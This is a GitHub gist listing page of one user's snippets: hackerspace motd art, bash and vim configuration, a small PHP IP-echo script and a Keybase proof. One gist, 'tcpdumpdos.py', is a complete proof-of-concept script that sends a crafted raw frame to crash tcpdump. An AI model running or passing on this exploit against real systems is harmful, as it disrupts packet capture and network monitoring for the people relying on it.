Skip to content

Instantly share code, notes, and snippets.

View pedrox86lopes's full-sized avatar

Pedro Lopes | x86 pedrox86lopes

View GitHub Profile
@pedrox86lopes
pedrox86lopes / motd
Created February 7, 2015 23:24
my /etc/motd :)
------------------> Area31 Hackerspace!
_______ _____ _____
/::\ \ /\ \ /\ \
/::::\ \ /::\____\ /::\ \
/::::::\ \ /::::| | /::::\ \
/::::::::\ \ /:::::| | /::::::\ \
/:::/~~\:::\ \ /::::::| | /:::/\:::\ \
/:::/ \:::\ \ /:::/|::| | /:::/ \:::\ \
/:::/ / \:::\ \ /:::/ |::| | /:::/ \:::\ \
/:::/____/ \:::\____\ /:::/ |::|___|______ /:::/ / \:::\ \
@pedrox86lopes
pedrox86lopes / .bashrc
Created February 7, 2015 23:25
my bash rc ;)
# EXPORTS
#######################################################
PATH=$PATH:/usr/lib/festival/ ;export PATH
PROMPT_COMMAND='history -a;echo -en "\033[m\033[38;5;2m"$(( $(sed -nu "s/MemFree:[\t ]\+\([0-9]\+\) kB/\1/p" /proc/meminfo)/1024))"\033[38;5;22m/"$(($(sed -nu "s/MemTotal:[\t ]\+\([0-9]\+\) kB/\1/Ip" /proc/meminfo)/1024 ))MB"\t\033[m\033[38;5;55m$(< /proc/loadavg)\033[m"'
PS1='\[\e[m\n\e[1;30m\][$$:$PPID \j:\!\[\e[1;30m\]]\[\e[0;36m\] \T \d \[\e[1;30m\][\[\e[1;34m\]\u@\H\[\e[1;30m\]:\[\e[0;37m\]${SSH_TTY} \[\e[0;32m\]+${SHLVL}\[\e[1;30m\]] \[\e[1;37m\]\w\[\e[0;37m\] \n($SHLVL:\!)\$ '
export EDITOR=/usr/bin/pico
export HISTFILESIZE=3000 # the bash history should save 3000 commands
export HISTCONTROL=ignoredups #don't put duplicate lines in the history.
alias hist='history | grep $1' #Requires one input
@pedrox86lopes
pedrox86lopes / tcpdumpdos.py
Created February 7, 2015 23:25
tcpdump dos
#!/usr/bin/env python
from socket import socket, AF_PACKET, SOCK_RAW
s = socket(AF_PACKET, SOCK_RAW)
s.bind(("lo", 0))
geonet_frame =
"\x00\x1f\xc6\x51\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\xc6\x51\x07\x07\x07\x07\x07\x07\xef\x06\x07\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\x00\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x01\x01\x01\x99\x80\x00\x35\x00\x29\x16\xa5\x01\x76\x01\x00\x00\xff\x00\x00\x01\x00\x00\x00"
s.send(geonet_frame)
@pedrox86lopes
pedrox86lopes / .vimrc
Created February 7, 2015 23:26
.vimrc
function AutoCompletar(direcao)
let posicao = col(".") - 1
if posicao || getline(".")[posicao - 1] !~ '\k'
return "\<Tab>"
elseif a:direcao == "avancar"
return "\<C-n>"
else
return "\<C-p>"
endif
endfunction
@pedrox86lopes
pedrox86lopes / idontknow.php
Created February 7, 2015 23:27
`idontknow.php
<?php
header('Content-Type: text/plain');
echo "Server IP: ".$_SERVER['SERVER_ADDR'];
echo "\nClient IP: ".$_SERVER['REMOTE_ADDR'];
echo "\nX-Forwarded-for: ".$_SERVER['HTTP_X_FORWARDED_FOR'];
?>

Keybase proof

I hereby claim:

  • I am pedrox86lopes on github.
  • I am pedrox86 (https://keybase.io/pedrox86) on keybase.
  • I have a public key whose fingerprint is 596D 711D 69AF 2829 90FC 043A 61CB 2860 47B2 256D

To claim this, I am signing this object: